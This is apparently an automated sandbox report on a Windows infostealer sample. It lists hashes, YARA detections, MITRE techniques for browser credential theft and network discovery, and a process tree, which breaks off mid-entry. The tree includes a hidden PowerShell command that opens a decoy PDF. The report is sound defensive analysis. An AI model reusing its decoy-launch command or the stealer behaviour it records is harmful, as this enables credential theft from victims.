1908667a279616de082f9f3a196fc1710ce5be9c85bdb2fe7100192f4d8d42f2

Analysis

max time kernel
148s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
22/05/2026, 04:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-22_ed73908c65575cae4ae7debf23220056_akira_cobalt-strike_glassworm_quasar-rat.exe
Size 3.3MB
Sample260522-eterbsg16z
SHA256 1908667a279616de082f9f3a196fc1710ce5be9c85bdb2fe7100192f4d8d42f2
MD5 ed73908c65575cae4ae7debf23220056
SHA1 6f7df270bd72bf3119403da9e738f7df8015813a
SHA512 d49f65ecf8a64415cdbcc822d5d643c78df85bdce73c6a3a757ea08af7aa46c9050ff5ea788ef1e492f1187354cd593bf8a8d8f42021a637cfe17ed44c2b26b0
SSDEEP 24576:um+l+pISlYd2hsT1ORfXC9DomS4g+g7Qv/d3rmsrP1YtwUKBll6NqidVLnyx:umO+9YMhoMfyBbTlrmsr1YuUk4ZVLy
TLSH
T131F55B43F28584EDC45EC079862B9632B633BC8906306A6F16A4FB253F76B511F1EF19
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

discovery execution spyware stealer

Malware Config

Signatures

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 4 IoCs

resource	yara_rule
behavioral2/files/0x002000000002b2c2-5.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1128-6-0x00007FF609070000-0x00007FF6093B9000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1052-535-0x00007FF714DE0000-0x00007FF715077000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1052-718-0x00007FF714DE0000-0x00007FF715077000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 4 IoCs

resource	yara_rule
behavioral2/files/0x002000000002b2c2-5.dat	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1128-6-0x00007FF609070000-0x00007FF6093B9000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1052-535-0x00007FF714DE0000-0x00007FF715077000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1052-718-0x00007FF714DE0000-0x00007FF715077000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3328	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3328	powershell.exe
996	powershell.exe
3364	powershell.exe
4040	powershell.exe
3928	powershell.exe
2772	powershell.exe
3328	powershell.exe
3516	powershell.exe

Deletes itself 1 IoCs

pid	Process
2872	wscript.exe

Executes dropped EXE 2 IoCs

pid	Process
1052	NXLog Community Edition.exe
484	RuntimeBroker.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
2	api.ipify.org

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
1188	cmd.exe
4172	ARP.EXE

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2024_1994059082\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2024_2145871167\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2024_2145871167\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2024_694437506\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2024_1948411086\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2024_1994059082\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2024_694437506\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2024_694437506\smart_switch_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Network Connections Discovery 1 TTPs 4 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
1240	cmd.exe
1048	NETSTAT.EXE
2072	cmd.exe
3052	NETSTAT.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4804	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3052	NETSTAT.EXE
1124	ipconfig.exe
1048	NETSTAT.EXE

Gathers system information 1 TTPs 2 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1048	systeminfo.exe
484	systeminfo.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134238968269497522"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2043432456-1617298091-2772621413-1000\{CA14CFD7-ED74-4761-BFDB-3D8A543012F4}	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
3328	powershell.exe
2772	powershell.exe
3328	powershell.exe
2772	powershell.exe
3516	powershell.exe
3516	powershell.exe
3516	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
3364	powershell.exe
3364	powershell.exe
3364	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
3928	powershell.exe
3928	powershell.exe
3928	powershell.exe
4840	msedge.exe
4840	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

description	pid	Process
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	3096	whoami.exe
Token: SeDebugPrivilege	996	powershell.exe
Token: SeDebugPrivilege	3052	NETSTAT.EXE
Token: SeDebugPrivilege	3364	powershell.exe
Token: SeDebugPrivilege	1048	NETSTAT.EXE
Token: SeDebugPrivilege	4040	powershell.exe
Token: SeDebugPrivilege	3928	powershell.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe
2024	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1128 wrote to memory of 2772	1128	2026-05-22_ed73908c65575cae4ae7debf23220056_akira_cobalt-strike_glassworm_quasar-rat.exe	80
PID 1128 wrote to memory of 1052	1128	2026-05-22_ed73908c65575cae4ae7debf23220056_akira_cobalt-strike_glassworm_quasar-rat.exe	82
PID 1128 wrote to memory of 2872	1128	2026-05-22_ed73908c65575cae4ae7debf23220056_akira_cobalt-strike_glassworm_quasar-rat.exe	83
PID 1052 wrote to memory of 3328	1052	NXLog Community Edition.exe	84
PID 2772 wrote to memory of 2024	2772	powershell.exe	86
PID 2024 wrote to memory of 2320	2024	msedge.exe	87
PID 2024 wrote to memory of 4804	2024	msedge.exe	88
PID 2024 wrote to memory of 4900	2024	msedge.exe	91
PID 2024 wrote to memory of 4900	2024	msedge.exe	91
PID 2024 wrote to memory of 3008	2024	msedge.exe	90
PID 2024 wrote to memory of 3008	2024	msedge.exe	90
PID 2024 wrote to memory of 3008	2024	msedge.exe	90
PID 2024 wrote to memory of 3452	2024	msedge.exe	92
PID 2024 wrote to memory of 3452	2024	msedge.exe	92
PID 2024 wrote to memory of 3452	2024	msedge.exe	92
PID 2024 wrote to memory of 2492	2024	msedge.exe	93
PID 2024 wrote to memory of 2492	2024	msedge.exe	93
PID 2024 wrote to memory of 2492	2024	msedge.exe	93
PID 2024 wrote to memory of 980	2024	msedge.exe	94
PID 2024 wrote to memory of 980	2024	msedge.exe	94
PID 2024 wrote to memory of 980	2024	msedge.exe	94
PID 2024 wrote to memory of 1016	2024	msedge.exe	95
PID 2024 wrote to memory of 2848	2024	msedge.exe	96
PID 2024 wrote to memory of 1016	2024	msedge.exe	95
PID 2024 wrote to memory of 1016	2024	msedge.exe	95
PID 2024 wrote to memory of 2848	2024	msedge.exe	96
PID 2024 wrote to memory of 2848	2024	msedge.exe	96
PID 2024 wrote to memory of 4732	2024	msedge.exe	97
PID 2024 wrote to memory of 4732	2024	msedge.exe	97
PID 2024 wrote to memory of 4732	2024	msedge.exe	97
PID 2024 wrote to memory of 2268	2024	msedge.exe	99
PID 2024 wrote to memory of 2268	2024	msedge.exe	99
PID 2024 wrote to memory of 2268	2024	msedge.exe	99
PID 2024 wrote to memory of 4784	2024	msedge.exe	100
PID 2024 wrote to memory of 4784	2024	msedge.exe	100
PID 2024 wrote to memory of 1036	2024	msedge.exe	101
PID 2024 wrote to memory of 1036	2024	msedge.exe	101
PID 2024 wrote to memory of 1036	2024	msedge.exe	101
PID 1052 wrote to memory of 3516	1052	NXLog Community Edition.exe	102
PID 1052 wrote to memory of 4092	1052	NXLog Community Edition.exe	104
PID 4092 wrote to memory of 2656	4092	cmd.exe	106
PID 1052 wrote to memory of 3416	1052	NXLog Community Edition.exe	107
PID 3416 wrote to memory of 1048	3416	cmd.exe	109
PID 3416 wrote to memory of 3024	3416	cmd.exe	110
PID 2024 wrote to memory of 3992	2024	msedge.exe	127
PID 2024 wrote to memory of 3992	2024	msedge.exe	127
PID 2024 wrote to memory of 4244	2024	msedge.exe	113
PID 2024 wrote to memory of 1732	2024	msedge.exe	114
PID 2024 wrote to memory of 4244	2024	msedge.exe	113
PID 2024 wrote to memory of 1732	2024	msedge.exe	114
PID 2024 wrote to memory of 4660	2024	msedge.exe	116
PID 2024 wrote to memory of 4764	2024	msedge.exe	117
PID 4764 wrote to memory of 3140	4764	msedge.exe	118
PID 2024 wrote to memory of 1920	2024	msedge.exe	122
PID 2024 wrote to memory of 1920	2024	msedge.exe	122
PID 2024 wrote to memory of 1588	2024	msedge.exe	123
PID 2024 wrote to memory of 1588	2024	msedge.exe	123
PID 2024 wrote to memory of 4656	2024	msedge.exe	124
PID 2024 wrote to memory of 4656	2024	msedge.exe	124
PID 2024 wrote to memory of 4652	2024	msedge.exe	125
PID 2024 wrote to memory of 4652	2024	msedge.exe	125
PID 2024 wrote to memory of 3948	2024	msedge.exe	126
PID 2024 wrote to memory of 3948	2024	msedge.exe	126
PID 1052 wrote to memory of 3992	1052	NXLog Community Edition.exe	127

C:\Users\Admin\AppData\Local\Temp\2026-05-22_ed73908c65575cae4ae7debf23220056_akira_cobalt-strike_glassworm_quasar-rat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-22_ed73908c65575cae4ae7debf23220056_akira_cobalt-strike_glassworm_quasar-rat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\ФСИН_и_МО_Проверка.pdf' -WindowStyle Maximized"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\ФСИН_и_МО_Проверка.pdf
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x350,0x7ffb5d79c188,0x7ffb5d79c194,0x7ffb5d79c1a0
      4⤵
      PID:2320
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1724,i,2240050865638327863,4572706047468441482,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=2144 /prefetch:11
      4⤵
      System Time Discovery
      PID:4804
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,15584597556452898530,5689028896650494367,262144 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=2104 /prefetch:2
      4⤵
      PID:3008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2460,i,9192557471395266431,4158439078861984719,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:13
      4⤵
      PID:4900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3468,i,1192692861534756476,14535548784986994786,2097152 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:1
      4⤵
      PID:3452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3472,i,1088605179181922097,4915479102341810342,2097152 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:1
      4⤵
      PID:2492
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4220,i,1404134183782725252,15990424797275417715,2097152 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:1
      4⤵
      PID:980
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4232,i,18171792741848325021,4738051558864591889,2097152 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=4332 /prefetch:9
      4⤵
      PID:1016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4236,i,17219549659900886998,1531888022041345523,2097152 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:1
      4⤵
      PID:2848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4284,i,14402544855388731642,8175115497110496586,2097152 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:9
      4⤵
      PID:4732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5296,i,14225109436427506256,3481855010599191275,2097152 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=5324 /prefetch:9
      4⤵
      PID:2268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5580,i,782270647974990655,6143519731182459284,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:14
      4⤵
      PID:4784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5752,i,4611333974796545827,13291025544426969923,2097152 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:15
      4⤵
      PID:1036
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5620,i,4326073399300107519,4947205257058442009,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:14
      4⤵
      PID:3992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5904,i,10914156663538896399,3495625491727207264,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:14
      4⤵
      PID:4244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5932,i,6076519184125311387,13626988756002777707,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:14
      4⤵
      PID:1732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6376,i,9822419066413243378,14158641083663128536,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:14
      4⤵
      PID:4064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6376,i,9822419066413243378,14158641083663128536,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:14
      4⤵
      PID:4660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6556,i,16190862927528419199,4202641618779499835,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=6552 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4764
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1132
        5⤵
        
        PID:3140
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6892,i,9746628578123403347,3750343944720879257,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=6860 /prefetch:14
      4⤵
      PID:1920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7032,i,12076450066837929262,13728883368115895683,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=7040 /prefetch:14
      4⤵
      PID:1588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7044,i,984783858330135577,670601913938949124,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=6916 /prefetch:14
      4⤵
      PID:4656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7056,i,3773273367386130347,17429607646682931649,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=7112 /prefetch:14
      4⤵
      PID:4652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
